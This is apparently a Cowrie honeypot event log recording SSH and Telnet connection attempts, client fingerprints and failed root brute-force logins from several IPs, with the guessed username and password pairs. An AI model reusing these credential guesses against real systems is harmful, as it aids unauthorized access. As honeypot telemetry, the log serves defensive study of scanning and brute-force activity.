{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:50:01.126097Z","src_ip":"193.32.162.145","session":"964ede409a66","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123456","message":"login attempt [solv/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:50:01.435457Z","src_ip":"193.32.162.145","session":"964ede409a66","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:50:02.540322Z","src_ip":"193.32.162.145","session":"964ede409a66","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43738,"dst_ip":"10.17.0.5","dst_port":23,"session":"ab90f5a5a404","protocol":"telnet","message":"New connection: 192.119.13.58:43738 (10.17.0.5:23) [session: ab90f5a5a404]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:50:02.655770Z"}
{"eventid":"cowrie.session.closed","duration":40.49632382392883,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:50:02.663218Z","src_ip":"192.119.13.58","session":"fc98f43a6bc3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45384,"dst_ip":"10.17.0.5","dst_port":23,"session":"7fbe90b937dc","protocol":"telnet","message":"New connection: 192.119.13.58:45384 (10.17.0.5:23) [session: 7fbe90b937dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:50:03.052714Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54536,"dst_ip":"10.17.0.5","dst_port":23,"session":"61fccb132cdb","protocol":"telnet","message":"New connection: 192.119.13.58:54536 (10.17.0.5:23) [session: 61fccb132cdb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:50:05.279896Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57618,"dst_ip":"10.17.0.5","dst_port":23,"session":"e8c20687e139","protocol":"telnet","message":"New connection: 192.119.13.58:57618 (10.17.0.5:23) [session: e8c20687e139]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:50:05.982916Z"}
{"eventid":"cowrie.session.closed","duration":30.338016510009766,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:50:12.313571Z","src_ip":"192.119.13.58","session":"cd01ab29278d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.686283111572266,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:50:13.384575Z","src_ip":"192.119.13.58","session":"3860b56297c9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.198","src_port":52358,"dst_ip":"159.203.135.109","dst_port":22,"session":"071ce68f1fd6","protocol":"ssh","message":"New connection: 103.75.182.198:52358 (159.203.135.109:22) [session: 071ce68f1fd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:50:14.920481Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:50:14.925714Z","src_ip":"103.75.182.198","session":"071ce68f1fd6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:50:15.167322Z","src_ip":"103.75.182.198","session":"071ce68f1fd6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kola90kola","message":"login attempt [root/kola90kola] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:50:15.895839Z","src_ip":"103.75.182.198","session":"071ce68f1fd6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:50:17.143168Z","src_ip":"103.75.182.198","session":"071ce68f1fd6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":52.513333320617676,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:50:17.816700Z","src_ip":"192.119.13.58","session":"67a8a907ca76","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.590219259262085,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:50:19.881910Z","src_ip":"192.119.13.58","session":"b31967d72512","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.54007935523987,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:50:21.071574Z","src_ip":"192.119.13.58","session":"4851aaa32daa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"116.110.11.66","src_port":45410,"dst_ip":"159.203.135.109","dst_port":22,"session":"361b76ee333b","protocol":"ssh","message":"New connection: 116.110.11.66:45410 (159.203.135.109:22) [session: 361b76ee333b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:50:21.117788Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:50:21.123509Z","src_ip":"116.110.11.66","session":"361b76ee333b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42432,"dst_ip":"10.17.0.5","dst_port":23,"session":"d22e589411b2","protocol":"telnet","message":"New connection: 192.119.13.58:42432 (10.17.0.5:23) [session: d22e589411b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:50:22.988429Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44470,"dst_ip":"10.17.0.5","dst_port":23,"session":"1ef7ca4edd5d","protocol":"telnet","message":"New connection: 192.119.13.58:44470 (10.17.0.5:23) [session: 1ef7ca4edd5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:50:24.563161Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38952,"dst_ip":"10.17.0.5","dst_port":23,"session":"c8b0bf8d2979","protocol":"telnet","message":"New connection: 192.119.13.58:38952 (10.17.0.5:23) [session: c8b0bf8d2979]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:50:28.922550Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42220,"dst_ip":"10.17.0.5","dst_port":23,"session":"9070619aaac3","protocol":"telnet","message":"New connection: 192.119.13.58:42220 (10.17.0.5:23) [session: 9070619aaac3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:50:29.705221Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42972,"dst_ip":"10.17.0.5","dst_port":23,"session":"8b82301248c8","protocol":"telnet","message":"New connection: 192.119.13.58:42972 (10.17.0.5:23) [session: 8b82301248c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:50:29.894231Z"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:50:30.067804Z","src_ip":"116.110.11.66","session":"361b76ee333b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50858,"dst_ip":"10.17.0.5","dst_port":23,"session":"43af654afd95","protocol":"telnet","message":"New connection: 192.119.13.58:50858 (10.17.0.5:23) [session: 43af654afd95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:50:31.612517Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52140,"dst_ip":"10.17.0.5","dst_port":23,"session":"1c43d922e390","protocol":"telnet","message":"New connection: 192.119.13.58:52140 (10.17.0.5:23) [session: 1c43d922e390]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:50:31.860304Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34906,"dst_ip":"10.17.0.5","dst_port":23,"session":"4642f1e42919","protocol":"telnet","message":"New connection: 192.119.13.58:34906 (10.17.0.5:23) [session: 4642f1e42919]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:50:34.636988Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39306,"dst_ip":"10.17.0.5","dst_port":23,"session":"4fd1ccfbbdee","protocol":"telnet","message":"New connection: 192.119.13.58:39306 (10.17.0.5:23) [session: 4fd1ccfbbdee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:50:35.670457Z"}
{"eventid":"cowrie.session.closed","duration":42.13658571243286,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:50:38.636824Z","src_ip":"192.119.13.58","session":"10fd7a21b1df","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.24973917007446,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:50:39.302308Z","src_ip":"192.119.13.58","session":"7fbe90b937dc","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"root123","message":"login attempt [root/root123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:50:39.821019Z","src_ip":"116.110.11.66","session":"361b76ee333b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"20.0","message":"Connection lost after 20.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:50:41.160922Z","src_ip":"116.110.11.66","session":"361b76ee333b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38382,"dst_ip":"10.17.0.5","dst_port":23,"session":"123bebad3fed","protocol":"telnet","message":"New connection: 192.119.13.58:38382 (10.17.0.5:23) [session: 123bebad3fed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:50:42.290996Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":42132,"dst_ip":"159.203.135.109","dst_port":22,"session":"3ba51d679f2e","protocol":"ssh","message":"New connection: 193.228.128.84:42132 (159.203.135.109:22) [session: 3ba51d679f2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:50:45.601881Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:50:45.606265Z","src_ip":"193.228.128.84","session":"3ba51d679f2e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:50:45.709871Z","src_ip":"193.228.128.84","session":"3ba51d679f2e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ghbywtccf","message":"login attempt [root/ghbywtccf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:50:46.023276Z","src_ip":"193.228.128.84","session":"3ba51d679f2e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:50:47.129562Z","src_ip":"193.228.128.84","session":"3ba51d679f2e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.0379364490509,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:50:48.020739Z","src_ip":"192.119.13.58","session":"e8c20687e139","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"40.83.182.122","src_port":43642,"dst_ip":"10.17.0.5","dst_port":22,"session":"12d5a516ce93","protocol":"ssh","message":"New connection: 40.83.182.122:43642 (10.17.0.5:22) [session: 12d5a516ce93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:50:49.651353Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:50:49.656020Z","src_ip":"40.83.182.122","session":"12d5a516ce93","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:50:49.736979Z","src_ip":"40.83.182.122","session":"12d5a516ce93","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dusan","message":"login attempt [root/dusan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:50:50.080229Z","src_ip":"40.83.182.122","session":"12d5a516ce93","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.76364994049072,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:50:51.043427Z","src_ip":"192.119.13.58","session":"61fccb132cdb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:50:51.160758Z","src_ip":"40.83.182.122","session":"12d5a516ce93","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.08374285697937,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:50:53.739429Z","src_ip":"192.119.13.58","session":"ab90f5a5a404","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.51459980010986,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:51:02.408700Z","src_ip":"192.119.13.58","session":"8b82301248c8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.75540018081665,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:51:02.460495Z","src_ip":"192.119.13.58","session":"9070619aaac3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.80660629272461,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:51:04.729041Z","src_ip":"192.119.13.58","session":"c8b0bf8d2979","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50994,"dst_ip":"10.17.0.5","dst_port":23,"session":"4cb6134ab68f","protocol":"telnet","message":"New connection: 192.119.13.58:50994 (10.17.0.5:23) [session: 4cb6134ab68f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:51:05.721176Z"}
{"eventid":"cowrie.session.closed","duration":41.60504221916199,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:51:06.167929Z","src_ip":"192.119.13.58","session":"1ef7ca4edd5d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.11269474029541,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:51:07.101010Z","src_ip":"192.119.13.58","session":"d22e589411b2","protocol":"telnet"}
